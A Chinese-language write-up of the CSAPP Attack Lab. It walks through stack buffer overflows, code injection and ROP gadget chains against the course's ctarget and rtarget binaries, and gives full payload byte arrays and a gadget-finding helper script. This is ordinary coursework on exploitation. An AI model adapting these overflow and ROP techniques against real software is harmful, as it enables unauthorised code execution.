CSAPP Lab -- Attack Lab

出师不利啊,上来就碰到执行不了的错误。

参照网上的说法执行的时候添加-q参数即可。

通过WriteUp文件可以得知,我们的目标为touchx函数。

Tips:

  • 这里建议使用cgdb工具(版本至少为0.7.1),从0.7.1版本开始,cgdb允许使用反汇编窗口(通过按esc然后输入:set dis启用)。

  • 指令码我们可以通过编写汇编程序,然后使用gcc -c对其汇编之后,再使用objdump -s -d反汇编获得。

ctarget – CI

Touch 1

拿到手上先执行一下这个程序,随意提供一些输入可以看到关于注入失败的提示。

根据提示信息尝试搜索Getbuf函数,搜索结果如下。同时也得知了getbuf仅在test中被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00000000004017a8 getbuf:
4017a8: 48 83 ec 28 subq $40, %rsp
4017ac: 48 89 e7 movq %rsp, %rdi
4017af: e8 8c 02 00 00 callq 652 <Gets>
4017b4: b8 01 00 00 00 movl $1, %eax
4017b9: 48 83 c4 28 addq $40, %rsp
4017bd: c3 retq

0000000000401968 test:
401968: 48 83 ec 08 subq $8, %rsp
40196c: b8 00 00 00 00 movl $0, %eax
401971: e8 32 fe ff ff callq -462 <getbuf>
401976: 89 c2 movl %eax, %edx
401978: be 88 31 40 00 movl $4206984, %esi
40197d: bf 01 00 00 00 movl $1, %edi
401982: b8 00 00 00 00 movl $0, %eax
401987: e8 64 f4 ff ff callq -2972 <__printf_chk@plt>
40198c: 48 83 c4 08 addq $8, %rsp
401990: c3 retq

然后根据WriteUp可以得知目标函数为touch1。从中可以得知,touch1仅做一次puts操作就调用校验函数。并且touch1函数不包含任何的输入。

1
2
3
4
5
6
7
8
9
00000000004017c0 touch1:
4017c0: 48 83 ec 08 subq $8, %rsp
4017c4: c7 05 0e 2d 20 00 01 00 00 00 movl $1, 2108686(%rip)
4017ce: bf c5 30 40 00 movl $4206789, %edi
4017d3: e8 e8 f4 ff ff callq -2840 <puts@plt>
4017d8: bf 01 00 00 00 movl $1, %edi
4017dd: e8 ab 04 00 00 callq 1195 <validate>
4017e2: bf 00 00 00 00 movl $0, %edi
4017e7: e8 54 f6 ff ff callq -2476 <exit@plt>

可以看到共分配了40个字节给栈来存储输入,因此尝试输入40个字节和39个字节(由于字符串末尾存在一个\0,因此实际上是输入了41和40个字节)看看。发现果然输入40个字节的事后发生了溢出。

因此在0x4017b4地址处设置断点,仅输入39个字符(未溢出),然后查看栈情况。

可以看到前40个字节是我们输入的数据,而之后的数据应该是getbuf函数的返回地址,这里我们打印一下看看。

对这个地址进行反汇编,可以发现于test函数中getbuf返回的地址一致。

我们的目标是跳转到touch1函数(地址0x00000000004017c0),因此构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>

int main()
{
FILE *fp = NULL;

fp = fopen("touch1.payload", "wb");
// payload
char buf[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xC0, 0x17, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00
};

int r = fwrite(buf, 48, 1, fp);
printf("fwrite return %d\n", r);
fclose(fp);
}

对其编译并执行得到我们需要的payload字符。

将其提交通过!

Touch 2

用同样的方式进入touch2函数(地址0x00000000004017ec)看看。可以看到校验失败,说明touch2不能通过简单的跳转完成。

进一步分析touch2的代码。touch2对输入变量和2108642(%rip)的值进行比较,如果不相等则打印”Misfire…”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
00000000004017ec touch2:
4017ec: 48 83 ec 08 subq $8, %rsp
4017f0: 89 fa movl %edi, %edx
4017f2: c7 05 e0 2c 20 00 02 00 00 00 movl $2, 2108640(%rip)
4017fc: 3b 3d e2 2c 20 00 cmpl 2108642(%rip), %edi
401802: 75 20 jne 32 <touch2+0x38>
401804: be e8 30 40 00 movl $4206824, %esi
401809: bf 01 00 00 00 movl $1, %edi
40180e: b8 00 00 00 00 movl $0, %eax
401813: e8 d8 f5 ff ff callq -2600 <__printf_chk@plt>
401818: bf 02 00 00 00 movl $2, %edi
40181d: e8 6b 04 00 00 callq 1131 <validate>
401822: eb 1e jmp 30 <touch2+0x56>
401824: be 10 31 40 00 movl $4206864, %esi
401829: bf 01 00 00 00 movl $1, %edi
40182e: b8 00 00 00 00 movl $0, %eax
401833: e8 b8 f5 ff ff callq -2632 <__printf_chk@plt>
401838: bf 02 00 00 00 movl $2, %edi
40183d: e8 0d 05 00 00 callq 1293 <fail>
401842: bf 00 00 00 00 movl $0, %edi
401847: e8 f4 f5 ff ff callq -2572 <exit@plt>

2108642(%rip)的值是一个不可访问的内存,但是根据gdb给出的信息来看,它应该是cookie的值。

首先做一个trick试试,将返回地址设为0x0000000000401804,即直接跳过判断语句。

依然校验失败,说明不能这么做,只能老老实实的想办法修改touch2的输入参数,将其修改为Cookie(0x59b997fa,别想着修改cookie文件,这个是没有用的)。

在调用getbuf时,rsp寄存器的值为0x5561dc78,并且rsp可以存储40个字节,因此可以想办法通过这里来注入自己的代码。

另外,Gets函数体内有一个save_char函数会将输入的字符放入到一个数组中。这个机制也可以利用,但是相比之下更为复杂。

要修改目标地址的值,那么就要设计指令movq $0x59b997fa, %rdi。因此构造payload.c如下:

1
2
3
4
5
6
7
8
9
10
// movq  $0x59b997fa, %rdi
// pushq 0x4017EC
// ret
char buf[] = {
0x48, 0xC7, 0xC7, 0xFA, 0x97, 0xB9, 0x59, 0x68, 0xEC, 0x17,
0x40, 0x00, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x78, 0xdc, 0x61, 0x55, 0x00, 0x00, 0x00, 0x00
};

这里方法不唯一,但是存在一个问题。经测试,如果采用继续覆盖的方式将第二个跳转地址写入栈,这个会引发segment fault错误;此外采用mov指令直接修改(%rsp)的值,再跳转也会引发segment fault错误。仅使用push的方式不会引发。猜测是由于上述的两类方式不符合栈的使用规则,从而导致的问题。

这里简单解释一个原因,首先我们使用了缓冲区溢出,覆盖了getbuf的返回地址,将其指向我们设计的指令的地址,然后再通过我们的指令修改rdi寄存器的值,并通过ret跳转到touch2函数。

getbuf执行完ret之后,跳转到了我们写入字节的起始位置,然后将目标地址压栈,并通过ret语句跳转到touch2函数。

将其提交,最后成功通过!

Touch 3

先来观察一下touch3的要求,(这里使用的ida工具进行的反汇编)。可以看到它是将输入的字节与cookie一起送入一个hexmatch的函数进行比较。

然后进一步查看hexmatch函数的内容,大致可以猜测其检查输入的16进制字符串是否与一个16进制数匹配。

因此构造payload,大致意思就是将一个字符串写入栈中,然后将该字符串的地址传给rdi寄存器。我们把字符串放在0x5561dc78的位置,并在栈中添加至少预留48个字节的空间来避免字符串被覆盖。

由于getbuf最后会给rsp增加40字节,并且之后执行ret指令将返回地址出栈。(相当于共执行pop 6次)。这就导致写入的字符串会位于未被分配的空间,从而造成字符串的覆盖。

此外还需要考虑栈对齐的问题,即使我们把字符串写在了返回地址之后,让它所在的空间不是未分配空间。但是如果栈指针不16字节对齐,sprintf函数会检查栈的对齐问题,从而导致出错。

1
2
3
4
5
6
7
8
9
10
11
12
// mov   $0x5561dc78, %rdi
// subq $48, %rsp
// pushq $0x4018FA
// ret
char buf[] = {
0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0xC7, 0xC7, 0x78, 0xDC, 0x61, 0x55, 0x48,
0x83, 0xEC, 0x30, 0x68, 0xFA, 0x18, 0x40, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x88, 0xDC, 0x61, 0x55, 0x00, 0x00, 0x00, 0x00
};

rtarget – ROP

这里因为明确说了,使用ROP攻击,而不是代码注入。因此我们的攻击代码为在程序中精心挑选的指令来实施攻击。这部分的实验,提供了一个精简的指令组farm.c,里面都是很简单的函数来供我们选择。

由于ROP攻击方式是可以绕过NX/DEP(内存区域不可执行)和ASLR(栈地址随机化)防护的,因此我们下面的实验也假设程序是设置过上述防护的。

Touch 1

这个与ctarget的touch 1完全一致,因此不考虑。

Touch 2

touch2的函数与ctarget一致。因此我们同样需要想办法修改rdi寄存器来让它与cookie的值相等。

因为farm提供函数均为操作rdi或者rax寄存器。farm函数只提供了对(%rdi)的操作,而没有提供我们需要的直接修改rdi寄存器值的指令。

所以,要修改rdi寄存器的值,必然要找到popqmovq <>, %rdi指令。结合我们ctarget部分所学习到的代码注入,可以得知,需要执行的指令不一定是程序中存在的某一条指令,也可以是某个连续的字节码(即某条指令的一部分,或者多条指令的中间部分)恰好满足我们需要的指令的字节码。

因此利用gcc得到了下列指令,我们在farm中搜寻满足我们需要指令的字节。

1
2
3
4
5
6
7
8
9
0:	48 89 f7             	mov    %rsi,%rdi
3: 48 89 c7 mov %rax,%rdi
6: 48 89 07 mov %rax,(%rdi)
9: 48 8b 38 mov (%rax),%rdi
c: 48 8b 3a mov (%rdx),%rdi
f: 48 8b 7c 70 02 mov 0x2(%rax,%rsi,2),%rdi
14: 89 c7 mov %eax,%edi
16: 58 pop %rax
17: 5f pop %rdi

最终找到了addval_273函数包含所需的机器码48 89 c7 c3。而且5f c3并不存在,这样就没办法直接通过栈来给rdi寄存器赋值。

1
2
3
00000000004019a0 addval_273:
4019a0: 8d 87 48 89 c7 c3 leal -1010333368(%rdi), %eax
4019a6: c3 retq

这样就可以通过rax寄存器来给rdi寄存器赋值了。接着搜索58 c3,利用pop指令来给rax寄存器赋值。但是这个值并没搜到,最接近一个值为58 90 c3

1
2
3
00000000004019ca getval_280:
4019ca: b8 29 58 90 c3 movl $3281016873, %eax
4019cf: c3 retq

这里我编写了一个脚本来查看我们输入的字节码对应的指令是什么。大致作用就是利用capstone引擎,来实现从控制台读取16进制字符串,从而解析成对应的汇编指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
# coding=utf-8

from capstone import *
import sys

if (len(sys.argv) < 2):
sys.exit(0)

for t in range(1, len(sys.argv)):
print("=" * 30 + f"{t:03}" + "=" * 30)
CODE = bytes.fromhex(sys.argv[t])
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.syntax = CS_OPT_SYNTAX_ATT

print(f"CODE: {CODE}")
for i in md.disasm(CODE, 0x1000):
print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")

print()

利用python脚本对指令的解析结果如下。可以看到多出来的90对应的是nop指令,它是一个空指令,因此可以忽视。

这样,我们同时获取到了popq %raxmovq %rax, %rdi指令。现在我们只需要将cookie的值送入栈中,并设置好返回地址即可完成。

构造payload:

1
2
3
4
5
6
7
8
9
10
11
char buf[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0xCC, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> popq %rax
0xFA, 0x97, 0xb9, 0x59, 0x00, 0x00, 0x00, 0x00, // cookie
0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi
0xEC, 0x17, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> touch2
};

Touch 3

根据ctarget的信息,我们要想办法把一个字符串写入栈中,并且将字符串的地址送入rdi寄存器。

首先我们要想办法,把栈中的一个地址送入寄存器。因为我们的字符串是存在栈中的,要获得栈某个位置的地址,要么对esp寄存器使用add或sub指令,然后再通过mov指令将地址送入寄存器;要么直接利用lea指令来计算一个有效地址,送入寄存器。

在farm中发现,add_xy函数的指令是满足我们需要的。

1
2
3
00000000004019d6 add_xy:
4019d6: 48 8d 04 37 leaq (%rdi,%rsi), %rax
4019da: c3 retq

但是我们还需要找到能够操作rsi寄存器的指令。由于这个指令在farm的字符中找不到,所以我们借助工具ROPgadget来搜索这个指令。通过工具在main函数的末尾找到了我们需要的这个指令。5e代表的是popq %rsi指令。

1
2
401382: 41 5e                        	popq	%r14
401384: c3 retq

因为我假设了栈地址是随机化的,所以还需要找到获取rsp值的指令。所幸在farm中存在这么一个指令48 89 e0对应的是movq %rsp, %rax

1
2
3
0000000000401aab setval_350:
401aab: c7 07 48 89 e0 90 movl $2430634312, (%rdi)
401ab1: c3 retq

至此我们已经拥有了如下指令:

  • 地址4019a2

    1
    2
    movq %rax,%rdi
    ret
  • 地址4019cc

    1
    2
    3
    popq %rax
    nop
    retq
  • 地址4019d6

    1
    2
    leaq (%rdi,%rsi), %rax
    retq
  • 地址401383

    1
    2
    popq %rsi
    retq
  • 地址401aad

    1
    2
    3
    movq %rsp, %rax
    nop
    retq

因此根据上述信息构造我们的payload:

这里千万要注意,编写好的指令,最终进入touch3的时候,一定要满足栈指针是16Bytes对齐的,不然sprintf函数对栈进行check时会出错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
movq %rsp, %rax
movq %rax,%rdi
popq %rsi
leaq (%rdi,%rsi), %rax
movq %rax,%rdi
*/
char buf[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
0xAD, 0x1A, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rsp, %rax
0xAD, 0x1A, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rsp, %rax,无意义的执行,为了使栈对齐
0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi
0x83, 0x13, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> popq %rsi
0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // rsi value -> 48
0xD6, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> leaq (%rdi,%rsi), %rax
0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi
0xFA, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> touch3
0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61, // 字符串
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符
};

最后成功通过!

问题

对于touch3,不管是哪种攻击方式都可能出现如下错误。就算反复确认传入的指令是正确的,并且传入touch3时一切如预期执行,但是依然会出现这个错误。

经过我的反复检查,最后发现是由于中间利用了ret指令,而ret指令会修改rsp的值(相当于执行了pop),这就导致了栈指针不一定是16 Bytes对齐的。

如果栈指针不是16 Bytes对齐的,在执行到hexmatch函数内部的sprintf函数时,会调用一个___sprintf_chk函数来确认栈。也正是它,在栈不是对齐的时候,会引发segment fault错误。

参考资料

[1] WriteUp

[2] 【技术分享】ROP技术入门教程

[3] ROPgadget

Author

Chaos Chen

Posted on

2021-04-17

Updated on

2023-06-30

Licensed under

Commentaires